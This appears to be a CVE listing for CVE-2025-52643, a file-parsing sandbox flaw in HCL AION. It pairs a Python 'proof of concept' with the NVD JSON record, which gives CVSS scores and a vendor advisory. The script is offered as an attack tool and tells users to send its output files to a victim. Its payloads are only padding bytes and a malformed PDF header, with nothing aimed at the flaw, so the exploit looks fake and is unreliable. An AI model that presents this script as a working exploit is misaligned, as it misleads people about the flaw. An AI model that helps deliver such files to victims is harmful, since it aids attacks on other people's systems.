CVE-2025-52643

# CVE-2025-52643 PoC - Malicious File Generator for HCL AION # This PoC demonstrates the vulnerability where untrusted file parsing # operations are not executed in a properly isolated sandbox environment. import os import struct def create_malicious_file(filename, payload_type='basic'): """ Generate a malicious file that exploits the sandbox isolation bypass in HCL AION file parsing operations. Args: filename: Output filename payload_type: Type of payload to embed """ # Create a malicious file with embedded payload # This file when opened in HCL AION may execute code outside sandbox if payload_type == 'basic': # Simple file that triggers parsing vulnerability malicious_content = b'MZ' + b'\x90' * 50 + b'\x00' * 100 # Add markers that may confuse the parser malicious_content += b'CVE-2025-52643-TEST' + b'\xff' * 20 elif payload_type == 'extended': # Extended payload with potential command execution header = b'%PDF-1.4\n' # Malformed PDF structure that may trigger parsing issues payload = b'%%EOF\n' * 50 malicious_content = header + payload else: malicious_content = b'INVALID_FILE_FORMAT_' * 100 with open(filename, 'wb') as f: f.write(malicious_content) print(f'[+] Malicious file created: {filename}') print(f'[+] Payload type: {payload_type}') print(f'[+] File size: {len(malicious_content)} bytes') def main(): print('=== CVE-2025-52643 HCL AION Sandbox Bypass PoC ===') print('[+] Target: HCL AION File Parser') print('[+] Vulnerability: Untrusted file parsing without sandbox isolation') # Generate multiple test files create_malicious_file('test_file_cve2025_52643.bin', 'basic') create_malicious_file('test_pdf_cve2025_52643.pdf', 'extended') print('\n[!] Usage: Send these files to victim running HCL AION') print('[!] When victim opens file, parser may execute code outside sandbox') if __name__ == '__main__': main()

{"cve": {"id": "CVE-2025-52643", "sourceIdentifier": "[email protected]", "published": "2026-03-16T15:16:18.430", "lastModified": "2026-04-25T18:04:15.250", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HCL AION is affected by a vulnerability where untrusted file parsing operations are not executed within a properly isolated sandbox environment. This may expose the application to potential security risks, including unintended behaviour or integrity impact when processing specially crafted files."}, {"lang": "es", "value": "HCL AION está afectado por una vulnerabilidad donde las operaciones de análisis de archivos no confiables no se ejecutan dentro de un entorno de sandbox debidamente aislado. Esto puede exponer la aplicación a riesgos de seguridad potenciales, incluyendo comportamiento no deseado o impacto en la integridad al procesar archivos especialmente diseñados."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 0.6, "impactScore": 3.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-693"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:aion:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.1.2", "matchCriteriaId": "1AD0DD06-7840-4FFE-8BCF-1B94410B237D"}]}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0129410", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}